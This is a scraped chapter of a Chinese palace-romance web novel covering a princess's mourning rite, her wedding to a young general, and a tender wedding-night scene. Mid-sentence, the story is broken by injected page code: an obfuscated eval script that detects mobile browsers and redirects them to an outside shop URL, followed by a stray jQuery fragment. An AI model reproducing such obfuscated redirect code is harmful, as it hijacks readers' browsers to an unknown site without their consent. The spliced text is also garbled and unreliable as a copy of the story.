【23】
六月二十六,乃佟语盈生母元后陈颖琇的忌日。
宫中设的祭典,在巳时开始。
但一早,她便已起了身,带着宫人们去了祈华殿——这里是供奉大楚历代帝后牌位的地方,相当于皇家祠堂。
佟语盈素来就是祈华殿的常客,守在这里的侍卫们一动不动,口中行礼过后,便放了她进去。
只今日,佟语盈才要进门,便听得其中一名侍卫轻声提醒道:“七公主,陛下一刻钟前就到了,现下正在殿中。”
她脚步一顿,朝那侍卫微微颔首:“本公主知道了,多谢提醒!”她温声。
侍卫没再开口。
不过一句提醒,但宫中这些主子,会和他们这些人道谢的,也只得七公主一个了。
侍卫收敛心神,恢复了端肃神色。
祈华殿内,非皇室之人不可入。
故而陈嬷嬷和司琴司衣在门口停了下来,目送佟语盈迈过门槛,直至她的身影消失在殿中,才收回目光。
正殿乃皇家祭典之所,未免冲撞,牌位并不摆放在这里。
佟语盈朝着一旁的偏殿走去。
两座偏殿被打通,大楚历代的帝后牌位,从上到下,从左到右,依次摆放得整整齐齐。
元后陈颖琇的牌位,在最下面一排,左侧还空着,待天启帝百年之后,牌位再和她并列。
佟语盈还未走到偏殿,便听得内里传来一道熟悉的低沉男音:“颖琇,我们的女儿云嘉,她再有三日就要嫁人了。”
她脚步一顿,呼吸声都放轻了几分。
“赐婚圣旨颁下去那日,朕和你说过的,选了一名年少有为的小将军。”
“个中情形朕那日也和你说过了,今日就不和你絮叨了。云嘉待会儿也要过来,朕可不能在她面前多提,免得她伤怀。”
“颖琇啊,你这一走,就是三年,朕……”
佟语盈慢慢跨过门槛,在天启帝身边的蒲团跪下。
天启帝没有看她,依旧絮絮叨叨着。
离祭典开始的时间还有个把时辰,父女俩在偏殿跪坐了许久。
最后起身时,佟语盈哽咽一声:“父皇。”
她只唤了这么一声,眼泪就簌簌而下,再说不出任何话来。
前些时日的猜测、怀疑、惧怕,终于在无形却有声的父爱中,尽数消弭。
她想,她再不会质疑父皇了。
六月二十九,诸事皆宜。
云嘉公主佟语盈,和驸马、当朝云骑将军邹暮云,喜结连理。
“送入洞房~”司仪礼官嘹亮又喜庆的嗓音响起时,观礼的宾客们忍不住会心一笑。
若非顾忌上首坐着的帝后,他们便要哄笑出声了。
说不准,胆子大些的,还要闹着跟过去,呼朋引伴的,闹一闹洞房。
但眼下,他们只好看着才拜过堂的新郎新娘,在喜娘的引领下,慢慢往内院方向走。
天启帝眼眶微红,环视一圈,便低声吩咐了身旁的晋王佟盛斌几句。
佟盛斌听得频频点头,末了温声道:“父皇且放心,儿臣会看着他们的。”
佟盛斌乃佟钰泽长子,从嫡长子变成庶长子,又从庶长子变成嫡长子,他性子一直沉稳有度,始终不因身份变化而移了性子。
佟钰泽很是放心这个长子,闻言,便对他点点头,带着梁皇后启程回宫。
帝后一走,堂中气氛顿时便热烈起来。
“走,我们去闹洞房去。”有人喊道。
“好,我们走!”
佟盛斌定睛一看,见最先喊话的人是新郎邹暮云在西南军营的袍泽孟忠,而扬声附和、兴致勃勃地等着闹洞房的大小伙子,也多是出自西南军营之人。
他心下便有了计较,笑着上前拦住孟忠:“孟将军,我家小七年纪小,且不喜吵闹。不若我们来拼酒罢?”
其余皇子见状,也跟着上前,将其余仍要往后院方向走的大小伙子们拦住。
将军府上的管家擦了擦汗,心道幸好,忙吩咐下人们去搬酒,他则上前,恭敬地将宾客们请到宴席上。
婚房内。
待新人喝过合卺酒,喜娘和司仪女官手脚利落地收拾好床上的红枣、花生、桂圆和莲子,便退出了喜房。
陈嬷嬷和四司宫女们互相对视一眼,犹豫了一下,还是轻手轻脚离开了;但也没走远,就候在门前,等着一对新人可能的随时吩咐。
新房里,佟语盈和邹暮云并肩坐在床边,听着周遭的动静渐消,二人同样微红的双耳,竟也双双发起烫来。
“你……”佟语盈是个沉不住气的,静默便也由她主动来打破。
但她才只说了一个字,忽而察觉到颊边传来一阵温热,原是今日的新郎靠近了她。
方才二人喝合卺酒,并结发,本就坐得很近,如今邹暮云不必挪动身子,只上身往她的方向倾斜,二人便好似贴在了一起。
佟语盈呼吸一顿,心里“砰砰砰”地跳得欢快。
离得太近了,新郎身上熟悉又陌生的男子体息萦绕在鼻尖,让她想起了半月前那个混乱的夜晚。
兴许是这样,让她腹下忽地窜起一团火来。
这股热气同样熟悉且陌生,正是她和身旁的新郎有亲密交集的祸因,也是促成这桩仓促婚事的最大缘由。
佟语盈心下有了猜测。
原来,他和太医院院首,都没有诊错。
这不交合就会要了她命的情毒,果真是每隔半个月便会发作一次。
佟语盈垂眸,没有躲,任由颊边温热的气息愈来愈近。
但这股温热,在离她侧颊一寸之距停了下来,然后她便听到了一声轻笑。
“公主,臣可以亲您吗?”她听她的驸马邹暮云如此问道。
他问的什么话?
佟语盈呆呆的,一时没有反应过来。
又是一声轻笑,继而侧颊传来一点暖润的触感,却如蜻蜓点水般,一触即离。
佟语盈还以为,那只是她的错觉。
但很快,颊边接连又被亲了三下。
这总不会是错觉了。
佟语盈眨了眨眼,不知为何,她竟有些想笑。
腹下的热意,从小小的一簇火星子,渐渐被点燃,豆粒大小般的火苗,从下往上,慢吞吞地跳跃着。
她在这异样的撺掇下,唇角微勾,说出了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683750|207758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己几乎不可能说出来的话:“驸马,就这样?”
话音刚落,佟语盈呆住,邹暮云也一怔。
柔软的身子被人轻柔地掰了过去,那湿润带着清茶暖香的气息,擦着她涂了唇脂的红润唇瓣,拂过佟语盈嘴角,停了下来。
邹暮云就这样不动了。
呼吸微滞,新娘和新郎气息逐渐相融,但谁也没先开口。一个不曾将人推开,另一个也没那个自觉退开。
仿佛僵持住了,在比谁更能沉得住气似的。
“砰砰砰”,心跳剧烈跳动着,二人紊乱的心律,逐渐和呼吸一样,徐徐相合。
佟语盈觉得自己要憋不住了。
离得太近,她眨眼时,浓密的眼睫毛似乎能戳到她新婚驸马的脸颊上。
而伴随他若有似无的呼气声,落到她唇上的暖润气息,令她觉得酥酥痒痒的,很想挠一挠。
佟语盈忍住了。
这样的时候,她在分心想,情毒那样难熬,她都忍过了三颗清心丸的药效时间,没道理如此简单的痒意,她都没能忍住。
云骑将军府外院,以晋王佟盛斌为首的皇子们,艰难地应对着武将们闹洞房不成,有些泄愤似的敬酒行为。
而内院,一对新人,却不知为何较起了劲儿来。
若让人知晓了,可不得笑掉大牙?
终于,佟语盈有些忍不住了——她本也不是什么心性十分坚定之人。
那股酥痒的感觉,似乎从唇角、人中,一路往下,再往里,蔓延到了她心里。
但她才要将人推开,却听得有人认了输。
“公主,是臣冒犯了。”邹暮云轻声,说着认错的话,嗓音里的笑意却浓厚得似乎要溢出来。
佟语盈眉眼弯了起来,行成一个漂亮的月牙儿形状。
邹暮云心里也痒痒的,明知不是时候,在起身时却忍不住在她唇上吻了吻。
“公主,臣要出去敬酒了。”他温和的目光和佟语盈相对,带着不舍,“你若是乏了,就先小憩一番。”
这会儿他又不说“您”了,佟语盈不合时宜地想,没有接话。
邹暮云已经站起身,见她一副神游天外的模样,好笑地摇了摇头。
“公主,臣先出去了,让陈嬷嬷她们回来陪你?”他问,在她脸上偷亲一记。
二人在半月前早已有数次肌肤之亲,今晚又是他们洞房花烛夜,邹暮云很难克制自己不对他的新娘做点什么,哪怕新娘是当朝公主。
这可算不上僭越,他想,又在她唇上落下一吻。
佟语盈终于反应过来,她的驸马胆子竟这般大。
分明刚刚儿还要问过她的意思才敢亲她,这会子没吱一声他就敢亲下来了。
登徒子,她想。
但才要下意识“哼”一声,她猛地反应过来。
他们已经成亲了,如陈嬷嬷所说,他对她做什么都可以,只要不伤害到她。
佟语盈想,好罢,那不叫他登徒子了。
“公主?”邹暮云见她依旧在走神,又唤了她一声。
“嗯?”佟语盈终于回过神来。
邹暮云好脾气地将方才说过的话,又重复了一遍。